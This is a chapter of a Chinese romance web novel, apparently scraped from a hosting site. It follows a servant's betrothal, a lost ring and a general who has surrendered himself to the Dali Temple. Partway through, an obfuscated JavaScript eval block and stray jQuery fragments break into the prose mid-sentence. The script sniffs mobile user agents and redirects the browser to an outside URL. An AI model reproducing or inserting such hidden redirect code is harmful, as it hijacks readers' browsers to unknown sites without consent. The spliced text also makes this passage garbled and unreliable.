53. 佛手烧

作品:《成婚第三年

    “梅影!”甘翎在上房堂前走了几个来回,终是不放心,那戒指,明明是柳依依的,她再不会认错,可为何会在一个妇人手上呢?


    梅影应声现身,抱拳道,“夫人有何吩咐?”


    “适才那妇人,她手上那戒指,我需要知道来历。”她道,“不瞒你,那戒指是我朋友的。”把柳依依离京之事简单说了一遍。


    梅影立即明白了,道:“夫人放心,我这就去办。”


    ……


    “哎!”看着两个可爱的毛团子,闻守拙喜得两只眼睛弯成了月亮,当即决定两只都留下。


    青荷准备了一肚子说辞,都省下了。


    “来来,看看你们的新家。”闻守拙从柜台后拿过只竹箱,就要把狸花猫们放进去,却见棕布垫下露出了个大洞,洞缘乱七八糟的,有细小的齿痕。


    “可恶的鼠辈!”闻守拙恨骂一声,对青荷林茂道,“我去买个新的,劳烦两位帮我看会店。”


    “我们不知道价钱呀。”青荷道,此时店内虽未有客人,可一旦有人来,岂不麻烦。


    “来我这儿的都是回头客,他们知道价钱。”闻守拙道,“若是新客,就让他等着。——竹器铺不远,我很快就回来的。”


    闻守拙的身影消失在门外,两只小猫齐齐喵呜了一声,青荷抬手点其额头,笑道,“这就舍不得新主了?亏我养了你们这些天!阿彩说,‘猫再养不熟的’,看来有理!”


    林茂抬手牵住她的手,青荷一怔,急声道,“做甚么!快放开!”


    林茂却是握的更紧:“青荷,我想娶你,你可愿意?”


    他面色发红,声音略颤,如感风寒一般。


    青荷瞥他一眼,“胡话,乱语!快去找个大夫瞧瞧。”


    他把她的手放在自己的心口,“它好好的,它很清醒,它一直记挂着你!”


    急促的心跳透过衣衫鼓上手心,带着热流涌向了她的心房。


    她不由轻轻颤抖。


    “青荷,你可愿意?”他又问。


    “你为何要娶我?”她仰起脸,看着他,明明之前甚么话也没有,现在一见面就求娶,她有些怀疑,是不是小姐对他说甚么了,又或是他只是想成亲,而她刚好是个合适的姑娘。


    “喜欢你。”林茂道,“很喜欢你!”


    他说的直白,青荷的脸瞬间就红了,却又道:“那之前怎么……”


    “将军跟夫人的事还没着落,我不好开口。”林茂如实道,“其实在白云观,我就想跟你说了,但你那时看都不看我,我又没了勇气。”


    “现在怎的有了?”青荷问。


    林茂指着柜台一角的棉衣包袱,笑道:“你都替我缝衣裳了,我再不提亲,可不就是傻子么?”


    “谁告诉你……


    她的话没说完,就被他的唇堵断了,他不能出卖梅影,只能让她不再思考。


    果然,他那滚烫的唇一碾上她的,她就浑身一颤,旋即沉迷。


    她的手勾上他肩,他更加用力,双影合一。


    直到听到脚步声,两人才匆匆分开。


    闻守拙掀开门帘,见青荷在逗弄小猫,林茂倚在柜台上,手里把玩着裁纸刀,空气里有一股特别的香气。


    闻守拙吸了吸鼻子,笑道:“麻烦二位了!今儿天冷得厉害,我这有好酒,咱们喝一杯如何?”


    “今儿不行,我得回宫,青荷也得回去刺绣。”林茂道,“过些日子的,请你喝好酒。”


    他把裁纸刀放回文具匣,对一直低着头的青荷道,“是吧,青荷?”


    “嗯。”她放下小猫,并不看闻守拙,也不再说话,只往外走。


    “闻老板再会了。”林茂看她出了门,这才告辞离开。


    闻守拙放下竹箱,铺上棕布垫,把小猫一只一只放好,忽轻轻吐出口气,“食色,性也。”


    林茂赶上青荷,牵住她,低声道:“我带你去个好地方。”


    两人缠磨竟日才依依不舍地分开。


    林茂意气风发地回到宫里,就要跟丁旭提娶亲之事,却是寻人不着,养心殿前无有,值房也无。


    “将军呢?”他纳闷地问一个刚刚换值的羽林卫兵士。


    “大理寺!”那兵士压低了声音。


    “大理寺?做甚么?”林茂更加不解,“又有新差事?”


    “不是。”兵士摇头,“将军自己去的,就在陛下召见他不久!我们也不知道怎么回事。”


    ……


    夜深了,无星无月。甘翎坐在堂前,静听梅影的回报。


    那戒指是人当在那妇人家当铺的,是死当。妇人见了喜欢的很,就取了自戴。


    典当的,是个婆子,替人浆洗衣裳为生。那戒指是她在河边捡到的,她怕失主来寻,就急急脱手了,换了五百两银子。


    至于柳依依乘的船,却是没有查到,她应该是改换了姓名。


    “夫人,就算戒指是柳小姐的,也不能说明甚么。”梅影宽慰道,“兴许是不小心丢了呢。”


    烛火照着甘翎苍白的脸,她轻轻摇头,道:“这戒指对她分外重要,她不会……”


    也没甚么不会,她都嫁人了,当是对那巨商死心了,那么这定情信物也就可有可无。


    甘翎轻轻叹息,打起精神,对梅影道谢,让他早些歇息。


    梅影应着,刚要走,忽然耳朵一动,听见了叩门声,还是后门。


    甘翎也听见了,那声急急的,轻轻的,却是不停,仿佛主人不开门就会一直敲下去。


    绣坊后门向来无有人出入,一直栓着。这深更半夜的,会是谁?


    甘翎当即站了起来。


    “夫人勿虑,我去看看。”话音未落,梅影已闪出堂外。


    烛火飘摇,一道烛泪滑下,尚未凝结,逼人的寒气涌了进来,同来的还有两人。


    甘翎看着那陌生的中年男子,刚要询问梅影,那男子已拜礼开口了。


    “小的是孔慕武,深夜来此,是想告诉夫人,将军在大理寺暂且安好。”他声音急切,“但圣心难测,还请夫人早做打算。”


    甘翎一怔,感到头有些眩晕,她掐了自己手臂一把,稳住心神,道:“怎么回事?你先说个明白。”


    “小的也不甚清楚。”孔慕武如实道,“今日巳初,将军自行进了大理寺,说自己是戴罪之身,来此静候圣上发落。刘大人问缘由,他不肯说,只让关好自己。午后,怀庆公主过


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15650273|172580||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    来,与将军说了大半个时辰的话,然后哭着走的。——小的今晚偷偷去看将军,他也甚么没说。”


    甘翎默然片时,回卧房拿了银子给孔慕武,致谢道:“谢您特来相告,子冉就麻烦您费心看顾,我会尽快想法子的。”


    送走孔慕武,甘翎问梅影,“孔先生的话可信?”


    “可信。他受过将军救命之恩,之前将军被谷王诬陷进出青楼,落在大理寺,也多亏他暗中照顾。”梅影道,“我这就去探听消息,看到底……”


    “不用麻烦。”甘翎打断他话,“很明显,真正的缘由无法宣之于口。不然,子冉就会被押入大狱,而不是自己去了;不然,他为何不带信给我?”


    “那怎么办?”梅影脱口道。


    “解铃还须系铃人。”


    “谁?”


    “圣上。”甘翎攥紧双手,“我需要见到圣上,你可有法子?”


    梅影摇头。


    “那怀庆公主呢?”


    梅影刚要摇头的,忽记起甚么,“对了,夫人,后日是二十五……”


    ……


    顺天府衙,关皓整装立在衙前,又期待又紧张地望着街角,阶下立着六房诸吏并全班衙役,衙前大街上分列两队衙兵,挎刀执旗,旗子在冷风中烈烈作响。


    今日天阴,一众人自打四更就起来准备,至此已过辰时,已是又累又饿,却无人敢提进食休息之事。


    关皓抬头看天,阴云荡荡,大有下雪之势,想了想吩咐户房主事,“去准备火盆!”


    “大人,还不到拢火的日子。”主事拱手道。


    “今儿特殊,少废话,快去备上,等……”


    “大人,宫中都不曾拢火!”主事打断了他的话,抬头看了顶头上司一眼。


    关皓一怔,回过神来,笑道:“还是你仔细!”


    话音未落,就见大理寺的卫兵簇拥着一辆马车拐进街角,直奔府衙而来。


    刑部跟大理寺拉扯了良久的“天子设廷”地点,最后落在了顺天府衙,这是成安帝自己定的。


    他认为,既然要亲理百姓诉状,首要一点需方便百姓投递诉状,相校刑部大理寺的重重护卫,自是顺天府衙方便。


    且自己每月出宫一趟,还能察见京城风貌,算是一举两得。


    看着那大理寺的仪仗,关皓等人皆是愕然,不是说陛下亲临么,这怎么又是大理寺卿呢?


    “陛下,您总是这般出人意料。”马车上,大理寺卿刘睿笑着对皇帝道,“但这也不是长久之计,一会儿全城的人就都知道您用了臣下的车马,回宫时怕是瞒不住的。”


    “那就用顺天府衙的车马。”成安帝笑道。


    “陛下仁慈,既不想劳费兵力,更不想妨碍民生。”刘睿道,“但每次都这般行,也不过大理寺、刑部,顺天府衙轮换,民众很快会熟悉,说不定会不分何车何驾,直接一拥而上。”


    “你甚么意思?”成安帝道。


    “陛下的安危最重要,以臣之见,还是在大理寺设庭。”刘睿道,“大理寺掌复核,本就是刑审最后一阶,那些敢告御状的,定是有极大冤屈。”


    成安帝想了想,道:“此事再议,先把今日过了再说。”